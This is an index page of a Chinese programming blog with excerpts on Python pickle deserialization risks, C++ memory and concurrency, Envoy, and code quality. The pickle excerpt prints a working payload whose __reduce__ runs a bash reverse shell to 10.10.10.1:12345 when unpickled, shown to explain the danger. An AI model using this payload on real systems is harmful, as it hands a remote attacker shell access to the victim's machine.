蘭陵N梓記

一指流沙,程序年华


  • 首页

  • 归档

  • 关于

  • 搜索
close

飞哥讲代码24:从Python Pickle漏洞说起

时间: 2021-03-13   |   分类: 技术     |   阅读: 3848 字 ~8分钟

《泾溪》– 杜荀鹤
泾溪石险人兢慎,终岁不闻倾覆人。
却是平流无石处,时时闻说有沉沦。

案例

有次同事找我看个Python的安全问题。测试代码是这样的:

import pickle
import os

class Test(object):
    def __reduce__(self):
        cmd = """bash -i &> /dev/tcp/10.10.10.1/12345 0>&1 2>&1"""
        return (os.system,(cmd,))

if __name__ == "__main__":
    test = Test()
    bs = pickle.dumps(test)
    pickle.loads(bs)

这个是利用pickle反序列化漏洞,结合shell反弹的安全入侵。当代码执行之后,会后台与10.10.10.1:12345建立连接,在10.10.10.1上的用户则可以直接像ssh远程一样操作你的机器。

目前Python在AI领域应用越来越多,不少传统机器学习的模型也采用pickle格式保存。如基于sklearn训练的模型,通常采用pickle.dump把模型生成pkl文件,当再使用模型时,则通过pickle.load加载模型来进行推理预测。像Java中json/xml/yaml的序列化与反序列化一样,python的pickle对象序列化与反序列化存在更为严重的安全风险。

阅读全文 »

飞哥讲代码23:C/C++内存空洞

时间: 2021-03-07   |   分类: 技术     |   阅读: 7057 字 ~15分钟

背景

C/C++把内存管理权限交给了程序员。自由越大责任越大。如果内存只借不还,则产生内存泄露。如果随意借了还得不及时,则可能产生内存空洞。

前一段时间定位某一组件(C++代码)的性能问题。现网会开启atop记录此机器的资源使用,发现此组件进程最后内存的虚拟内存(VIRT)达到达8.3G,常驻内存(RES)达到4.2G。而在实验室对比测试的内存占用也就100M多。区别在于实验室测试环境运行时间不长,而出问题的是长时间运行的。

排除内存泄露之外,我们怀疑出现了大量离散的内存空洞,原因:

  • 代码层面:
    • 代码中大量的直接new/delete内存,未有任何内存复用
    • 申请的内存未做字节对齐(注:字节对齐主要提升CPU访问效率,也能减少内存占用)
    • 申请的内存有大有小,大的有10K,小的有几十个bytes
    • 申请与释放时间跨度大,有些跨不同的线程
  • 资源层面:
    • VIRT与RES内存占用远超时实际业务流程所需要的内存
    • CPU sys占用也不低
    • 业务处理出现抖动,可能申请内存变慢导致
    • 实验室测试内存占用低,上涨VIRT与RES内存应该日积月累

由于为了恢复业务,出问题的进程已重启,无法再捕捉其它一些信息,只也能先事后诸葛,根据现象推导原因。

阅读全文 »

飞哥讲代码22:C++线程安全队列

时间: 2021-02-17   |   分类: 技术     |   阅读: 5838 字 ~12分钟

本文虽是C++代码讲解,但JDK也有对应的两种实现,学习Java的同学也可阅读一并了解一下。

背景

在多线程的并发模型中,无论是CSP还是Actor模式,都需要借助一个通道来在多个线程间传递消息来通讯。队列在计算机中是非常重要的一种数据结构,队列典型的特征是先进先出(FIFO),符合流水线业务流程。在进程间通信、网络通信之间经常采用队列做缓存,缓解数据处理压力。

节前定位某一C++开发的部件的性能问题,涉及到阻塞队列唤醒延迟问题。队列是采用ACE提供ACE_Message_Queue,使用场景是单生产/单消费。

ACE_Message_Queue的模型是仿照System V streams提供的队列设施设计的。消息块ACE_Message_Block是消息队列中的固定的对象结构。ACE大量采用了设计模式,代码一层套一层的,这也使得代码变得复杂不容易看懂。ACE_Message_Queue为了支持在多线程或单线程不同场景使用,采用了基于traits策略,通过模板参数来指定是需否要支持多线程。

在Java语言中,JDK中有ArrayBlockingQueue/LinkedBlockingQueue(有锁,有界)与ConcurrentLinkedQueue/LinkedTransferQueue(无锁,无界),开源高性能的Disruptor框架实现了无锁队列。

阅读全文 »

飞哥讲代码21:C++TLS在Envoy中应用

时间: 2021-01-24   |   分类: 技术     |   阅读: 4126 字 ~9分钟

本文虽分析的是C++源码,但是对Evnoy的设计思想分析,并不影响其它语言开发者阅读。

案例

Envoy是Service Mesh框架Istio推荐的SideCar,基于C++开发(大量使用了Google开源C++项目absl),具有高性能的特点,被广大微服务框架爱好者所熟悉。它的高性能一方面也源自它的优秀线程模型,我们可以通过这篇 Envoy为什么能战胜Ngnix——线程模型分析篇 可以进一步了解它的设计思路。这是对Envoy架构师的 博文 翻译,原文内容较深入较长,总结如下:

  • 采用单进程多线程的线程模型,其中一个主线程控制一些零散的协作任务
  • 若干worker线程负责连接监听,以及连接请求消息的过滤、转发
  • 一旦监听器接受了连接,连接的后续生命周期都绑定到单个工作线程
  • 使用非阻塞的网络调用,配置的Worker数与CPU核数(线程线)一致,即可完成大部分工作负载
阅读全文 »

飞哥讲代码20:窥探C++的模板

时间: 2021-01-08   |   分类: 技术     |   阅读: 5488 字 ~11分钟

案例

这次我们还是通过对Drogon的实现分析,一起来窥探与学习一下C++模板特性。

Drogon文档中介绍『基于template实现了简单的反射机制,使主程序框架、控制器(controller)和视图(view)完全解耦』。先看一下官方文档中的样例代码:

class User : public drogon::HttpController<User>
{
  public:
    METHOD_LIST_BEGIN
    //use METHOD_ADD to add your custom processing function here;
    METHOD_ADD(User::getInfo, "/{id}", Get);                  //path is /api/v1/User/{arg1}
    METHOD_ADD(User::getDetailInfo, "/{id}/detailinfo", Get);  //path is /api/v1/User/{arg1}/detailinfo
    METHOD_ADD(User::newUser, "/{name}", Post);                 //path is /api/v1/User/{arg1}
    METHOD_LIST_END
    //your declaration of processing function maybe like this:
    void getInfo(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback, int userId) const;
    void getDetailInfo(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback, int userId) const;
    void newUser(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback, std::string &&userName);
  public:

上述代码需要解决的问题:注册的METHOD_ADD(User::getInfo, "/{id}", Get);,对应的请求消息怎么路由到getInfo 方法?

  • 无反射机制的做法是,通过保存处理的函数指针,接收到请求再回调函数,函数签名只能是固定格式
  • 但URL Pattern中会存在多个{}替换参数,参数的类型可能是string, int, long等类型,是无固定参数

像Java等语言由于有底层Runtime框架(JVM),实现了运行期的反射机制。借助反射把请求动态路由到对应的处理函数,代码实现上不会太难。但C++是没有Runtime,只能是借助于模板在编译期做一些事情,来达到像Java一样的反射机制。

阅读全文 »

飞哥讲代码19:C++中的左右值引用

时间: 2021-01-03   |   分类: 技术     |   阅读: 4150 字 ~9分钟

案例

元旦哪里去不了,就呆在家里折腾VIM配置之后又看了一些C++的开源项目。国人开发的C++ web框架 drogon 在techempower上霸榜。techempower是一个专门给web框架做性能排名的网站。drogon在 Round19测试 中,综合成绩排第一。

drogon是基于C++14/17,采用CMake构建,跨平台,全异步,自带高性能模板引擎CSP,基于模板实现了简单的反射机制的Web框架。

我10年前写过大约5年多的C++代码,使用的也是传统的C++,C++11之后称为modern C++。不再使用C++做项目之后, 也就断断续续关注自学过,并没有实际的项目实战经验。所以看drogon的源码还算能看懂,但有些用法还是不太熟悉。drogon代码中大量存在如下代码:对于一个setXXX方法,写了const T& 与T &&两种入参。

    void setRecvMessageCallback(const RecvMessageCallback &cb)
    {
        recvMessageCallback_ = cb;
    }
    void setRecvMessageCallback(RecvMessageCallback &&cb)
    {
        recvMessageCallback_ = std::move(cb);
    }

还有这种用法:

  for (auto &backend : config["backends"])
  {
        backendAddrs_.emplace_back(backend.asString()); //并没有使用push_back
  }
阅读全文 »

飞哥讲代码18:记一次问题定位分析

时间: 2020-12-13   |   分类: 技术     |   阅读: 2696 字 ~6分钟

案例

上周一位同学找我看个问题,故事是这样的:

  • 安全设计要求,需要对SSH远程执行做命令白名单
  • 在authorized_keys中配置wrapper脚本对执行的命令进行检查
  • 问题是部分命令能正常执行,部分命令执行之后不退出卡住

那个wrapper脚本的关键逻辑如下:

function ssh_exec_wrapper() {
    local cmd=$@ # [1]取命令行所有参数
    check_cmd_in_white_list $cmd # [2]检查命令行的是否在白名单中
    echo $cmd |sh # [3]执行命令
}

问题是会卡在第三行,执行部分命令行结束之后,却不能退出,开发同学百思不得其解,不知道问题出在哪些。

会卡的命令大概如下:

orted -mca ess "env" -mca ess_base_iobid "833290240" ...

这个命令长度有215个字符,其中包括有空格,双引号("),分号(;),逗号(,)与脱字符(^)

此问题最后还是得以解决,发现是一处不起眼的写法引发的,定位会却花了1小时。

阅读全文 »

飞哥讲代码17:写好代码就要深入细节

时间: 2020-11-29   |   分类: 技术     |   阅读: 4058 字 ~9分钟

案例

案例代码来源我们某产品:

public void rollbackOrgPackage(Map<String, Object> oldOrgPackage, String orgName) throw ApigwException, ParseException {
    if (StringUtil.isEmpyt(orgName)) {
        throw new BackParameterException(...);
    }

    for (Entry<String, Object> orgPackage: oldOrgPackage.entrySet()) {
        switch ( orgPackage.getKey() ) {
            case "orgAssets":
                List<TApigwOrgAsset> orgAssets = (List<ApigwOrgAsset>) orgPackage.getValue();
                List<TApigwAssetContent> orgAssetContents = (List<TApigwAssetContent>) oldOrgPackage.get('orgAssetContents');
                try {
                    if (orgAssets != null) {
                        for (TApigwOrgAsset orgAsset: orgAssets) {
                            aTApigwAssetContentMapper.deleteByPrimaryKey(orgAsset.getAstid());
                            aTApigwOrgAssetMapp.deleteByOrgName(orgName, orgAsset.getZone());
                        }
                    }

                    if (orgAssets == null || orgAssetContents == null) {
                        break;
                    }
                    for(TApigwOrgAsset aTApigwOrgAsset: orgAssets){
                        aTApigwOrgAssetMapper.insert(aTApigwOrgAsset);
                    }
                    for(TApigwAssetContent orgAssetConent: orgAssetContents){
                        aTApigwAssetConentMapper.insert(orgAssetConent);
                    }
                } catch (Excetption e) {
                    threw new ApigwExcepiton(...)
                }
                break;
            case "orgService":
                ... // 省略
            case "orgConfigGroups":
                ... // 省略
            case "orgVariables":
                ... // 省略
        }
    }
}

上面的代码存在典型的switch惊悚的坏味道。每个Switch块较大,嵌套比较深,在Swith中又存在for循环。还存其它的坏味道:

阅读全文 »
1 2 3 4 5 6 7 8
兰陵子

兰陵子

Programmer & Architect

164 日志
4 分类
57 标签
RSS 订阅
GitHub 知乎
© 2009 - 2022 蘭陵N梓記
Powered by - Hugo v0.101.0
Theme by - NexT
0%